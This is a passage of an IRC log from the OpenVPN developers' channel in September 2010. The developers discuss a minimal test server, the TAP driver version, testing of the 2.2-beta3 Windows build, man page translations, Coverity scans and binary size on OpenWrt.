"9.7" is the first version with IPv6 (I bumped that in my branch, your latest version is 9.6) 13:59 <@mattock> cron2: regarding the test server... what kind of horsepower does it need? 14:00 <@mattock> I mean, would something in Pentium 120Mhz class do the trick? :) 14:00 <@cron2> mattock: this depends on the number of tests going on :-) - a single test does something like "establish openvpn tunnel, send 1000 ping packets, close tunnel" 14:00 <@mattock> nothing fancy, then 14:00 <@cron2> a P120 might be a bit slow in the crypto handshake, tho 14:00 <@dazo> gee ... my mobile phone is more powerful .... 14:01 <@mattock> true... I'm just thinking that a very low resource KVM VM would be best 14:01 <@cron2> I run my tests against a SheevaPlug (1.2GHz ARM CPU) 14:01 <@mattock> max 256MB RAM and a fews gigs of diskspace 14:01 <@cron2> yep 14:01 <@mattock> the server that was offered to us today is _way_ overpowered 14:02 <@mattock> I'll ask Andrew if he could generate a small VM for "make test" use 14:02 <@dazo> nah, if it's open to the public as an open test server ... I see no problem with that ... it makes it easier to provide a test suite we can expect people to use before submitting patches to us 14:04 <@mattock> dazo: nah to what? :P 14:04 <@dazo> cron2: I was thinking about the test script ... 1000 ICMP requests .. what if we also do some netcat stuff, send 128KB of data ... and compare a SHA256 checksum of the transferred data, to make sure the tunnel can do more useful stuff too? 14:04 <@cron2> dazo: yes, that was sort of the next steps to do 14:04 < krzee> dazo, +1 14:05 <@cron2> wget an URL defined in the .rc file, md5sum, compare to sum defined in the .rc 14:05 <@dazo> mattock: I meant, if we have a 100% open test server ... where whichever who pulls down our code can run a test against ... then it's good to have some horse power on the server ... to make sure it won't break down if too many tries at the same time 14:05 <@cron2> the tricky bit is "make this portable" and "make it easy to setup the server" 14:06 <@mattock> dazo: ok, I was thinking about the same... and I don't think many people will be building from source simultaneously. 14:06 <@cron2> right now, the test suite runs one test that will fail if multiple clients connect at the same time ("does *this* IP address show in 'ifconfig -a' after connection?") - but it's optional 14:06 <@dazo> cron2: gotcha ... what about some clever python code? .... I don't think that server should be allowed to be used to access the Internet ... then we suddenly get a brigade of Chinese guys using it for more "useful" stuff ... 14:06 <@mattock> dual core dedicate server with 90GB might be an overkill 14:07 <@cron2> dazo: I actually think we should "get" *and* "put" something over the tunnel, to make sure no MTU issues bite 14:07 <@mattock> and I'd rather not use the "make test" server for anything useful, as it's kind of high risk use 14:07 <@cron2> dazo: python where? on the client? very much no-go 14:07 <@mattock> anything _other_ stuff, that is 14:07 <@cron2> mattock: yes, the test server should really be "static, stand-alone, if it gets broken, just copy the last VM snapshot over again" 14:07 <@dazo> mattock: that server can run the latest stable OpenVPN server .... to make sure it is more, well, stable ... 14:08 <@mattock> ok, so a simple KVM VM it is, then 14:08 <@dazo> of course, that won't help IPv6 testing until that's in a stable branch, though 14:08 <@cron2> dazo: we don't require python in the build process yet (unless building for windows) and most non-linux platforms do not have it, so requiring it for testing is not so good 14:09 <@dazo> cron2: ahh ... I thought *BSD might have jumped unto that bandwagon already ... but, yeah, I hear you in regards to Solaris 14:09 <@cron2> no python on a stock openbsd, netbsd, freebsd, or solaris... 14:10 <@mattock> btw. we only have one topic left after this: "Translations" 14:10 <@cron2> worse, I can't do python :) 14:10 <@dazo> well, but we got a C compiler available ... writing something nice and easy in C, that should be portable enough :) 14:10 < krzee> requiring it in optional testing is fine 14:10 <@cron2> krzee: NACK 14:10 <@dazo> krzee: we're thinking about making it part of a more mandatory testing 14:10 < krzee> in a test that is part of make or something, agreed 14:10 < krzee> gotchya 14:10 <@jamesyonan> ok, build is ready + TAP driver bundle: http://secure.openvpn.net/openvpn-2.2/ 14:10 < vpnHelper> Title: Index of /openvpn-2.2 (at secure.openvpn.net) 14:10 <@cron2> jamesyonan: cool! 14:11 <@dazo> anyone got Windows available to give it a whirl? 14:11 <@cron2> dazo: compile a test "TCP get, TCP put, compare md5" code sounds like an interesting idea, yes 14:11 <@mattock> none here... 14:11 <@jamesyonan> I incremented TAP version to 9.8 14:11 <@cron2> jamesyonan: what is 9.7? 14:11 <@mattock> actually I do have a Windows box here, takes a few mins 14:12 <@dazo> eek ... does that mean that we might have some issues with the OpenVPN binary making use of the new tap driver? 14:12 <@jamesyonan> TAP driver version for 2.1.3 is 9.7 14:12 <@cron2> dazo: especially md5sum/sha is also something that's not available "out of the box" everywhere, but the test program can link openssl and get the hash functions 14:13 <@cron2> jamesyonan: ok, I'll adapt the test in my code - it currently assumes that "9.7 will know about IPv6". 14:13 <@dazo> cron2: I already have decent BSD licensed SHA512 calc code available ... pure C, no dependencies at all 14:13 <@cron2> dazo: I don't think so. The version number is only checked for "minimum requirements" 14:13 <@dazo> cron2: oh, good ... 14:13 * dazo breathes again 14:14 <@cron2> dazo: tun.c, look for TAP_WIN32_MIN_MAJOR 14:14 * dazo looks 14:15 <@dazo> yeah, looks good 14:15 <@cron2> I'll update my check to check for 9.8+ and commit that to ipv6_payload 14:15 <@dazo> perfect! 14:16 <@mattock> installing 2.2-beta3 on WinXP home 14:16 <@dazo> mattock: do you have consensus re: 2.2-beta3 and test server? 14:17 <@dazo> we only have translation left on the agenda 14:18 <@mattock> test server: ask for a KVM VM from Andrew 14:18 <@mattock> 2.2-beta3... I guess the only question is the release date 14:18 <@mattock> I'll test it from WinXP to community VPN and see how it goes 14:19 <@mattock> jamesyonan: could you put 2.2-beta3 packages to the community software download page? 14:19 <@dazo> mattock: if that installs and seems to work at first glance .... ship it! ... just to announce it :) 14:19 <@mattock> tarball/zip is here: http://build.openvpn.net/downloads/releases/ 14:19 < vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 14:20 <@mattock> windows logo test failed, but I guess that's fine 14:20 <@dazo> windows logo test? 14:21 < krzee> please please please change the front page of openvpn.net to be more clear about what they are downloading, every day people download the client, and dont know it is for access server 14:21 <@mattock> yeah, I think that means the executable has not been given official blessing from MS 14:21 <@jamesyonan> we need to update the download page generation script for 2.2beta 14:21 <@dazo> ahh 14:21 <@mattock> krzee: that's been taken care of... I'll fix that on monday 14:21 <@dazo> krzee: that's been discussed ... and mattock got a plan :) 14:21 < krzee> cool 14:21 <@mattock> krzee: check this out http://pastie.org/1134328 14:22 < krzee> i remember it discussed last week, since its another meeting since i mentioned it again ;) 14:22 <@mattock> that's what the "client software -> downloads" page would look like 14:22 <@mattock> and the "Windows download" link on openvpn.net front page would lead to that page, too 14:23 < krzee> werd 14:23 < krzee> sorry to hijack the subject 14:23 <@mattock> hmm... does somebody know how OpenVPN-GUI is supposed to work? 14:23 <@jamesyonan> dazo: here is the diff of what I needed to change to build : http://secure.openvpn.net/openvpn-2.2/diff.txt 14:23 <@mattock> I get an icon to tray but nothing else, no configuration window 14:24 <@mattock> or GUI 14:24 <@jamesyonan> I've gotta run in 5 minutes 14:24 <@dazo> jamesyonan: perfect! I'll merge it into beta2.2 immediately .... the TAPBINSRC ... is that something which will be consistent for the 2.2 release? 14:24 <@mattock> ok, no probs 14:25 <@cron2> dazo: TAPBINSRC sounds like something useful for the windows VM - 2.1 rebuilds grab the precompiled driver from tap_dist, 2.2 builds grab from tap_dist-2.2 14:25 <@jamesyonan> TAPBINSRC should be consistent 14:25 <@cron2> mattock: there's basically just "connect", "look at log" and "open editor window", if I remember right 14:26 <@cron2> it will auto-load all *.ovpn files that are found in some directory 14:26 <@dazo> jamesyonan: cron2: thx! Then I'll make sure I won't change that when merging in 2.1 stuff 14:26 <@jamesyonan> all you need to do is point TAPBINSRC at the precompiled driver bundle 14:26 <@mattock> hmm... I'll uninstall 2.2-beat3 and try 2.1.3 14:26 <@mattock> to see if it works ok 14:27 <@dazo> cron2: it makes sense then to put that change into the feat_ipv6_wintap branch, and merge that in further, don't you think? 14:27 <@dazo> that includes allmerged as well 14:27 <@cron2> dazo: yes 14:28 <@cron2> (and I need to pull in that branch as well, to make sure all branches with "changed tap driver" have the same code in them) 14:28 <@dazo> cron2: correct! 14:30 <@mattock> ...rebooting to see if that makes a difference 14:32 <@mattock> ok, got to do some digging first 14:32 <@mattock> should we discuss translations? 14:32 <@mattock> last topic 14:33 <@mattock> as cron2 pointed out, we're at the mercy of volunteer translators :P 14:33 < krzee> i would think german is the most important to do... since there are SOOOO many germans using ovpn 14:33 < krzee> seem to be a highly security minded population 14:34 <@mattock> yep, openvpn.eu is full of german openvpn users 14:34 < krzee> is there a list of stuff to translate? 14:34 <@cron2> krzee: there's just so many of us :) 14:34 <@mattock> however, I don't think _we_ should do the translation if we can avoid it... 14:34 <@dazo> krzee: they even give out CD's with OpenVPN installs when you cross the border Germany here in Europe ... 14:35 <@mattock> besides, only one(?) of us who could do it is cron2 :D 14:35 <@dazo> how did cron2 say it .... 14:35 <@dazo> " we're at the mercy of volunteer translators" 14:35 < krzee> i live in a spanish speaking country... 14:36 * cron2 is not good at "computer text in german", I find english messages shorter and more to the point 14:36 <@mattock> dazo: that was I adapting cron2's words :)... 14:36 <@cron2> too much exposure to computers 14:36 <@dazo> I would say that German, Spanish and Russian are important languages ... but also Chinese 14:36 <@mattock> perhaps we should ask openvpn.eu guys if they want to setup a "German translation project" with our help 14:36 < krzee> if i was given a sheet of english stuff, i could translate it to spanish 14:37 <@dazo> cron2: no matter which text being translated from English to German ... it's always 74% longer :-P 14:37 <@dazo> krzee: cool! you could start with the man page ;-) 14:37 < krzee> oh hell no! 14:37 < krzee> LOL 14:37 <@dazo> :-D 14:37 <@mattock> what should we translate? 14:37 < krzee> google translate for the win 14:38 <@mattock> my proposal is: "stuff most people look at _and_ that does not change often" 14:38 <@dazo> seriously, man page is the most important documentation, I would say ... *and* it would probably spot discrepancies between the man page and the real world as well 14:39 <@dazo> the man page do change, though ... so that would require some kind of "alert list" whenever openvpn.8 is changed 14:39 <@mattock> how could we implement an alert list? 14:40 <@dazo> well, for now, it's me who formally accepts community changes into the tree ... so that would be me 14:41 <@mattock> could we get automatic notifications? a git hook or something? 14:41 <@dazo> yeah, that's my next thought 14:41 <@dazo> would then probably need to run on sf.net servers though 14:41 <@dazo> or another server I would also push changes to 14:42 <@mattock> and SF.net git hooks are pretty limited 14:42 <@dazo> I know there is some support for mailing there ... and that should be enough .... the hook itself is just a little bash script 14:43 <@dazo> so if the changed file == 'openvpn.8' -> send mail 14:44 <@mattock> dazo: and you had several git clients you use to push stuff to SF.net? 14:44 <@dazo> mattock: yeah, I'm doing stuff from two different computers 14:45 <@mattock> where would the list of translators be stored? or could we expect them to be active and follow the development themselves? 14:45 <@dazo> mattock: I would have them saved in a file on the SF.net server ... and Cc -devel list 14:46 <@mattock> ok 14:46 <@dazo> in fact, it could most probably be stored in a git config file 14:46 <@mattock> what do you think about asking openvpn.eu guys about the manual page translation? 14:46 <@mattock> into german 14:46 <@dazo> sure! 14:47 <@mattock> ok, I can do it, shouldn't take long 14:47 <@dazo> I'm just thinking if someone should get the challenge to move the man page over to a better format ... which could easily be converted into a man page ... and making translations more easy 14:47 * dazo thinks in the lines of DocBookXML format 14:47 <@mattock> hmm, yes... would make sense 14:48 <@mattock> and docbook could be converted to other formats, too... I think 14:48 <@dazo> yes, indeed 14:48 * dazo is using Publican (front-end to DocBookXML) for his eurephia documentation 14:49 <@mattock> perhaps this is worth a Trac ticket 14:49 <@mattock> something a non-coder can help with 14:49 <@dazo> And if someone doing the translations have the capacity of looking into getting this into DocBook ... well, I'll rejoice! 14:49 <@dazo> (man, that was a bad sentence ... but it's getting late now) 14:50 <@mattock> I think having a list of stuff people can help with would be good 14:50 <@dazo> agreed 14:50 <@mattock> e.g. list of Trac tickets and a link from openvpn.net and/or community.openvpn.net 14:51 <@mattock> put it to my TODO list :D 14:51 <@mattock> I wonder why I never run out of stuff to do 14:51 <@mattock> anyways, I think we've covered pretty much everything 14:51 <@mattock> anything else? 14:52 <@dazo> to quote one of the Realtime kernel developers .... "TODO lists should grow, if they shrink it's a sign I'm getting senile" 14:52 <@mattock> I'll test the WinXP build of 2.2-beta3 14:52 <@mattock> hmm, then I'm definitely not senile 14:52 <@mattock> ;) 14:52 <@dazo> :) 14:53 <@mattock> I may be able to send the summary tomorrow... if not, then by Monday 14:53 <@dazo> I've not had time to complete the patches for the new plug-in API ... jamesyonan asked me to provide the new feature as well (X509 certificate chains) ... and I got another idea for a few more improvements ... so I'll look at that in the near future 14:54 <@mattock> sounds good 14:54 <@dazo> mattock: I cannot join the meeting next week (travelling again), and probably also not the following one - unless something surprisingly good happens :) 14:54 <@cron2> dazo: I have something I want to discuss with you 14:54 <@dazo> cron2: shoot! :) 14:54 * dazo hides while cron2 aims 14:54 <@mattock> dazo: ok, no problem 14:55 <@cron2> as far as I have seen, you haven't pull-push'ed my branch in a while, waiting for ACK on the OpenBSD/IPv6 changes 14:55 <@cron2> right? 14:55 <@dazo> cron2: right ... and I'm wondering about upgrading your status to the same level as I give jamesyonan no requirements of having his patches ACKed 14:56 <@dazo> cron2: I'm considering to pull in your stuff, as is ... but that's also because you are active here and I don't think you will hide too quickly :) 14:56 <@cron2> that's what I wanted to suggest: since this goes to its own branch anyway, it would certainly be good to get feedback (so I'll continue to send the patches to the list), I think the potential breakage is low, and it's more useful to have it in there to see whether collisions occur 14:57 <@dazo> having that said ... I'm really wondering what to do with JJO's code base ... we have a potential issue with it breaking --multihome support ... I decline to merge that into a beta branch until this has been sorted out 14:57 <@dazo> (^^ that would be beta2.3) 14:57 <@cron2> I'd suggest "my changes to feat_ipv6_payload go in right away, other patches require an ACK" :-) 14:58 <@dazo> mattock: jamesyonan: do you have any thing against that? 14:58 <@dazo> cron2: on issue is also that it's not that many who have followed the code IPv6 development .... for various reasons, so you are our IPv6 expert now 14:58 <@cron2> and I don't really know yet how we tackle 2.3 - someone needs to review the ipv6_payload stuff, to make sure everything is in line, no weak code spots (mem leaks, overruns, the usual) 15:00 <@dazo> mattock: jamesyonan: can we run the allmerged code base through coverity at some point? to get some automatic review of the code base, especially focusing on cron2's code? 15:00 <@cron2> that sounds interesting 15:00 <@dazo> iirc - openvpn tech got a coverity license, so that might help with a basic review 15:01 <@dazo> http://scan.coverity.com/ .... hmmmm 15:01 < vpnHelper> Title: :: scan.coverity.com : Accelerating Open Source Quality : (at scan.coverity.com) 15:04 <@dazo> OpenVPN is already in this loop 15:04 < kisom> heh, samba has more lines of code than PHP 15:04 < kisom> didn't expect that 15:05 <@dazo> Oh, I'm not surprised ... the NMB/SMB/SMB2/CIFS stuff is pretty complex .... especially when "simulating" an Active Domain server 15:05 <@dazo> or "pretending to be an AD server", is probably more correct 15:06 <@cron2> so how do we get the results? 15:07 <@dazo> a project admin needs to sign in, to get access ... 15:07 * dazo suggest mattock to be our project admin in this case 15:07 <@mattock> more stuff to the todo-list? :) 15:07 <@cron2> mmmh 15:07 <@dazo> always! need to make sure you stay sane! 15:07 <@cron2> 18 unchecked issues 15:08 <@mattock> dazo: you mean "project admin" when dealing with coverity? 15:10 <@dazo> mattock: well, to get the results and to provide them to us .... you're the closest one of us to be an official representative for OpenVPN 15:10 <@cron2> +1 15:10 <@mattock> yeah, makes sense 15:10 <@cron2> and then figure out how to run different versions through this - 2.2-beta*, -allmerged 15:10 <@dazo> exactly 15:11 <@mattock> I can do it... in fact, the coverity stuff is on my todo list already 15:11 <@cron2> great 15:11 <@mattock> too much to do, too little time 15:11 <@mattock> so it boils down to priorization :) 15:11 <@dazo> :) 15:11 <@cron2> tell me about that :-) - $daughter is going to wake up in about 20 minutes and then $wife will insist that I go to bed as well (to avoid waking up $daughter after she got fed) 15:12 <@dazo> if you strip the $daugther part and leave $wife ... you have my situation in about 20min :-P 15:12 <@cron2> heh :-) - so let's call it a day, go ahead with our respective TODO lists, and have a good night :-)) 15:13 <@dazo> +1 15:13 <@dazo> :) 15:13 <@mattock> cron2: +1 15:13 <@mattock> just got Windows client (2.1.3) to work on WinXP 15:13 <@mattock> now I'll remove 2.1.3 and try 2.2-beta3 15:14 <@mattock> forgot how painful working in Windows can be... 15:14 <@dazo> I discovered a new function in Wine today ... "Wine Boot" ... after having run it, it makes newly started applications believe Windows have just been restarted :-P 15:15 <@mattock> that's nasty! :) 15:16 <@dazo> yeah :) 15:16 * cron2 is fairly sure that openvpn will not work under wine 15:16 <@mattock> wine has become pretty impressive 15:17 <@dazo> cron2: yeah, the issue is the TAP driver .... except of that, it do run ... it can even connect 15:17 <@cron2> wow 15:17 <@dazo> but it stops when it can't read/write to a TAP device 15:17 <@cron2> unsurprisingly :-) 15:17 <@dazo> :) 15:17 <@mattock> one more reboot and my Windows testing is complete :) 15:18 <@dazo> $ wine .wine/drive_c/Program\ Files/OpenVPN/bin/openvpn.exe --version 15:18 <@dazo> wine: cannot find L"C:\\windows\\system32\\wineboot.exe" 15:18 <@dazo> err:process:start_wineboot failed to start wineboot, err 2 15:18 <@dazo> OpenVPN 2.2-beta3 i686-pc-mingw32 [SSL] [LZO2] [PKCS11] built on Sep 2 2010 15:18 <@dazo> Originally developed by James Yonan 15:18 <@dazo> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. 15:18 <@dazo> $ ./configure --enable-strict --prefix=/c/src/openvpn-2.2-beta3/windest MAN2HTML=true --with-ssl-headers=/c/src/openvpn-2.2-beta3/../openssl.mingw/openssl-0.9.8o/include --with-ssl-lib=/c/src/openvpn-2.2-beta3/../openssl.mingw/openssl-0.9.8o/out --with-lzo-headers=/c/src/openvpn-2.2-beta3/../lzo-2.02/include --with-lzo-lib=/c/src/openvpn-2.2-beta3/../lzo-2.02 --with-pkcs11-helper-headers=/c/src/openvpn-2.2-beta3/../pkcs11-helper/usr/loc 15:18 <@dazo> al/include --with-pkcs11-helper-lib=/c/src/openvpn-2.2-beta3/../pkcs11-helper/usr/local/lib 15:18 <@dazo> Compile time defines: ENABLE_CLIENT_SERVER ENABLE_DEBUG ENABLE_FRAGMENT ENABLE_HTTP_PROXY ENABLE_MANAGEMENT ENABLE_MULTIHOME ENABLE_PORT_SHARE ENABLE_SOCKS USE_CRYPTO USE_LOAD_LIBRARY USE_LZO USE_PKCS11 USE_SSL 15:20 <@mattock> ok, 2.2-beta3 works on Windows XP Home 15:20 <@dazo> cool! 15:21 <@cron2> cool! 15:21 <@mattock> I can browse Trac through the VPN 15:21 <@cron2> hooray! 15:21 <@cron2> go release! 15:21 <@dazo> for sure! 15:22 <@dazo> hmm ... I just realise that it seems like there is no --plugin support at all in Windows ... 15:22 <@mattock> jamesyonan: could you push out 2.2-beta3 as soon as possible? installer seems to work at least on WinXP home 15:22 <@dazo> hmm 15:22 * dazo must have misread the configure.ac 15:23 <@mattock> dazo: is that a regression? or just standard behavior 15:23 <@dazo> mattock: not sure at all, to be honest 15:23 <@dazo> mattock: I don't think it's a regression ... I see that --plugin is available in the binary ... but I don't know if it works 15:23 <@mattock> ok, good 15:24 <@dazo> ahh ... I misread the configure.ac ... and I see now that the eurephia feature is only enabled for non-Windows 15:24 <@mattock> ok, got to get some sleep now, nice meeting again! 15:24 <@dazo> +1 15:24 <@mattock> bye! 15:25 <@dazo> bye 15:25 <@cron2> byw 15:29 <@dazo> cron2: I had to cherry-pick the patches related to the new windows build script to be able to apply jamesyonan's diff for feat_ipv6_payload ... just so you're aware of it 15:29 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 272 seconds] 15:38 <@cron2> ok 15:39 <@dazo> cron2: do you have the URL to your git repository handy? I see I have your direct git URL (the one outside Berni's git tree) on another computer 15:52 * dazo should read mail first before asking ... 16:07 < vpnHelper> RSS Update - testtrac: Merge branch 'svn-BETA21' || Added --proto-force directive. || Don't configure Linux tun/tap txqueuelen setting if OpenVPN krzee, ecrist: ^^^ seems it tracks only the master branch ... could be good if it captured the other branches as well 16:09 <@dazo> (or at least allmerged and beta2.2) 16:09 * dazo calls this a day 16:11 -!- dazo is now known as dazo_afk 16:26 -!- raidzxx [~Andrew@2002:adc0:e0ad::adc0:e0ad] has joined #openvpn-devel 16:29 -!- raidz [~Andrew@seance.openvpn.org] has quit [Ping timeout: 260 seconds] 17:11 -!- raidzxx [~Andrew@2002:adc0:e0ad::adc0:e0ad] has quit [Ping timeout: 240 seconds] 17:12 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 18:47 < ecrist> dazo_afk: get me links for the other rss feeds 19:15 < ecrist> !rss 19:15 < vpnHelper> ecrist: (rss []) -- Gets the title components of the given RSS feed. If is given, return only that many headlines. 19:15 < ecrist> !config rss 19:15 < vpnHelper> ecrist: Error: 'supybot.rss' is not a valid configuration variable. 19:15 < ecrist> !config rss.feeds 19:15 < vpnHelper> ecrist: Error: 'supybot.rss.feeds' is not a valid configuration variable. 19:16 < ecrist> !config plugins.RSS.feeds 19:16 < vpnHelper> ecrist: tickets testtrac forum 19:17 < ecrist> !info testtrac 19:17 < vpnHelper> ecrist: Error: The command "info" is available in the Factoids and RSS plugins. Please specify the plugin whose command you wish to call by using its name as a command before "info". 19:17 < ecrist> !rss.info testtrac 19:17 < vpnHelper> ecrist: Error: "rss.info" is not a valid command. 19:17 < ecrist> !rss info testtrac 19:17 < vpnHelper> ecrist: Title: SourceForge - openvpn/openvpn-testing.git/rss log; URL: ; Description: OpenVPN with experimental and new features - which requires a lot of testing; Last updated: 3 hours, 41 minutes, and 8 seconds ago. 19:18 < ecrist> dazo_afk: I've looked, i don't see rss feeds or other branches. if you can give me a URL to a valid RSS feed, I'll add it 19:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 20:08 < krzee> hah thats cool! 20:08 < krzee> didnt know the bot was listening to git 21:44 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 22:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 22:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:21 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has quit [Read error: Operation timed out] 22:22 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel 22:29 -!- Netsplit *.net <-> *.split quits: raidz 22:37 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel --- Day changed Fri Sep 03 2010 01:22 -!- krzie [~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 01:34 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 01:51 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:27 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:41 -!- dazo_afk is now known as dazo 03:00 -!- krzie [~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 03:14 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 04:04 <@cron2> mmmh 04:04 <@cron2> "openssl sha1 $file" 04:05 <@cron2> does the hashing for me - and we *know* that "openssl is available on this system", otherwise openvpn won't build 04:44 <@dazo> cron2: is the openssl exectuable always available, even though libcrypto and libssl is installed? 04:47 <@cron2> I'm not sure. Some of the package based systems might split this into "openvpn-bin" and "openvpn-lib" - but at least debian got me the binary "by default"... 04:47 <@cron2> the BSDs' port systems don't differenciate - either you get "openssl-all" or "no openssl" 05:20 -!- dazo is now known as dazo_afk 05:23 -!- dazo_afk is now known as dazo 06:49 <@cron2> hah 06:49 <@cron2> t_client.sh rules :-) - just rebuilt openvpn-devel for openwrt, and having a handy test framework really eases "ok, is this binary sane, can I push the diff to openwrt-devel?" 06:52 <@dazo> cool! 06:53 <@dazo> we need to get our "global" test server up'n'running! So more can have easier test possibilities 06:53 <@cron2> yep 06:53 <@cron2> (the change is 201026->201036 and --enable-small, which really saves space - some 20kbyte or so) 06:54 <@dazo> yeah, that really gives results ... and if you can strip it in addition ... that's even some other bytes saved in addition 06:55 <@cron2> lemme check 06:56 <@dazo> grmbl ... the IPv6 stuff really eats space on my router ... 06:57 * dazo seriously need a couple of sick days to hack his router with a SD slot ... until he gets the chance to get a newer and better one 06:59 <@cron2> well, the binary is 379 kbyte large now. I'm not sure whether this is stripped already, but I tend to assume so - on sparc64, the openvpn binary is about 500k after stripping 06:59 <@cron2> and same on i386 06:59 <@cron2> (I have no "size" util available that will parse arm binaries) 06:59 <@dazo> I think the previous version was ~430kb 07:00 <@dazo> so that sounds like striped 07:00 <@cron2> ah 07:00 <@cron2> yes, there's a size binary in the tools tree - it says 07:00 <@cron2> 377918 1340 1228 380486 5ce46 ./staging_dir/target-mips_r2_uClibc-0.9.30.1/root-ar71xx/usr/sbin/openvpn 07:00 <@dazo> you can run strings on it ... to see if you find function names there, or similar stuff 07:00 <@cron2> so that's stripped 07:00 <@dazo> yeah 07:01 <@cron2> surprisingly big, actually 07:01 <@cron2> oh well 07:01 <@cron2> 116787 0 4 116791 1c837 options.o 07:02 <@cron2> 52218 0 584 52802 ce42 ssl.o 07:03 <@cron2> (but that was options.o without --enable-small - with it, it goes down to ~60 kbyte. definitely a big saving) 07:12 <@dazo> yeah, the --help screen is the big offender there 07:52 <@cron2> mmmmh 07:52 <@cron2> --client-connect is nice 08:06 <@dazo> client-connect can do much fun stuff :) 11:57 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 12:51 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 13:17 -!- snwbrdr [~xxx@85-142-54-74.well-com.net] has joined #openvpn-devel 13:20 < snwbrdr> hi 13:20 <@cron2> ho 13:20 < snwbrdr> I use openvpn-ldap-auth thats my config http://pastie.org/1136486, if I put RequireGroup to false everything works perfectly otherwise it doesnt work 13:20 <@dazo> chantra_afk: ^^^ is that something you can recognise? 13:21 * cron2 wonders whether snwbrdr should ask ##openvpn 13:21 <@dazo> cron2: I sent him here, I believe chantra_afk is behind that plug-in, and can understand it better 13:21 * dazo hopes at least 13:22 <@cron2> ok, this explains things :-) (usually, questions that concern "usage of existing code" get answered faster in ##openvpn) 13:22 <@dazo> yeah, chantra_afk was not available on that channel :) 13:23 <@dazo> snwbrdr: http://redmine.debuntu.org/projects/openvpn-ldap-auth/wiki ... I presume you've seen this page ... if this corresponds to the LDAP plug-in you're using, try to send a issue request here 13:23 < vpnHelper> Title: openvpn-ldap-auth - Wiki - Redmine@Debuntu (at redmine.debuntu.org) 13:25 < ecrist> dazo: in what context did ssl-admin come up? I'm just curious. 13:26 <@dazo> ecrist: mailing list question .... "Endian as client" on -users 13:50 < ecrist> ah 14:01 -!- dazo is now known as dazo_afk 14:07 -!- snwbrdr [~xxx@85-142-54-74.well-com.net] has quit [Ping timeout: 265 seconds] 14:28 -!- snwbrdr [~xxx@85-142-54-74.well-com.net] has joined #openvpn-devel 14:33 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:33 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:39 -!- snwbrdr [~xxx@85-142-54-74.well-com.net] has left #openvpn-devel [] 16:46 -!- krzie [~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 16:49 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:56 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 23:17 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Ping timeout: 252 seconds] 23:23 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel --- Log closed Fri Sep 03 23:26:28 2010 --- Log opened Fri Sep 03 23:26:32 2010 23:26 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 23:26 -!- Irssi: #openvpn-devel: Total of 17 nicks [4 ops, 0 halfops, 0 voices, 13 normal] 23:27 -!- Irssi: Join to #openvpn-devel was synced in 36 secs --- Log closed Fri Sep 03 23:35:22 2010 --- Log opened Sat Sep 04 00:08:43 2010 00:08 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 00:08 -!- Irssi: #openvpn-devel: Total of 17 nicks [4 ops, 0 halfops, 0 voices, 13 normal] 00:09 -!- Irssi: Join to #openvpn-devel was synced in 65 secs --- Log closed Sat Sep 04 00:14:41 2010 --- Log opened Sat Sep 04 00:20:15 2010 00:20 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 00:20 -!- Irssi: #openvpn-devel: Total of 17 nicks [4 ops, 0 halfops, 0 voices, 13 normal] 00:20 -!- Irssi: Join to #openvpn-devel was synced in 36 secs 03:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:14 < chantra_afk> dazo_afk: for http://pastie.org/1136486 , nope, this is another plugin: http://code.google.com/p/openvpn-auth-ldap/ 04:14 < vpnHelper> Title: openvpn-auth-ldap - Project Hosting on Google Code (at code.google.com) 04:15 < chantra_afk> i am hardly on irc these days.... being swamped by my daily job :s 04:16 < chantra_afk> if you see snwbrdr, it is not much i can do, but if he wants to give a spin to my plugin, then I am happy to help him out 04:16 < chantra_afk> :) 05:09 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:13 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:42 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:39 -!- WinstonSmith [~true@f052099243.adsl.alicedsl.de] has joined #openvpn-devel 12:39 -!- WinstonSmith [~true@f052099243.adsl.alicedsl.de] has left #openvpn-devel ["Ex-Chat"] 14:31 -!- krzie 